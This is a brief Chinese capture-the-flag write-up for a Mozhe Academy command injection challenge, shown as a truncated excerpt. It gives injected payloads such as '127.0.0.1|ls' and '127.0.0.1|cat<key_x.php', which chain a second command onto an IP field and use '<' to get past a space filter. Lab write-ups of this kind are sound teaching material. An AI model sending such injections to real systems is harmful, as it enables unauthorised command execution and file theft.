墨者学院—命令注入执行分析—两种解法

一．解题思路 利用管道符构造命令 二．操作步骤 解法一 1.测试127.0.0.1能否返回正常数据 2.使用BP抓包，改包 查看文件信息 iipp = 127.0.0.1|ls 查看key文件信息 iipp = 127.0.0.1|cat key_x.php 但是发现不能正常传输数据，空格被过滤。命令改为iipp = 127.0.0.1|cat<key_x.php 解法二 1.在火狐中禁用JS 在

>>阅读原文<<